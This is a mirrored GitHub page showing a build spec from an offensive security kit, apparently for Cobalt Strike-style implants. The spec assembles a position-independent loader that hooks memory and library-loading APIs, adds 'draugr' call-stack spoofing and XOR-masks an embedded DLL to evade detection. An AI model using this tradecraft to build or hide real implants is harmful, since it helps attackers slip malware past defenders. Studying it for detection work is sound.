mirror of
https://github.com/PhantomSecurityGroup/Crystal-Kit
synced 2026-06-06 16:34:31 +00:00
S1n1st3r
ec438f41d5
* update gitignore * Fixed code size issue and added all hooks * Add hooking for HttpSendRequestA - add multiple modules to do stack spoofing with call instructions before gadget - update cna strreps
50 lines
1.1 KiB
RPMSpec
50 lines
1.1 KiB
RPMSpec
x64:
|
|
load "bin/loader.x64.o"
|
|
make pic +gofirst +optimize +disco
|
|
|
|
# merge pic services
|
|
run "services.spec"
|
|
|
|
patch "get_module_handle" $GMH
|
|
patch "get_proc_address" $GPA
|
|
|
|
# merge hooks into the loader
|
|
load "bin/hooks.x64.o"
|
|
merge
|
|
|
|
# merge call stack spoofing into the loader
|
|
load "bin/spoof.x64.o"
|
|
merge
|
|
|
|
# load the stack spoofing assembly
|
|
load "bin/draugr.x64.bin"
|
|
# link is ok here because loader
|
|
# will be in RX or RWX memory
|
|
link "draugr_stub"
|
|
|
|
# hook functions that the loader uses
|
|
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
|
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
|
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
|
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
|
preserve "KERNEL32$LoadLibraryA" "init_frame_info"
|
|
|
|
preserve "KERNEL32$LoadLibraryA" "draugr_wrapper"
|
|
|
|
# mask & link the dll
|
|
generate $MASK 128
|
|
push $DLL
|
|
xor $MASK
|
|
preplen
|
|
link "dll"
|
|
|
|
push $MASK
|
|
preplen
|
|
link "mask"
|
|
|
|
# now get the tradecraft as a PICO
|
|
run "pico.spec"
|
|
link "pico"
|
|
|
|
export
|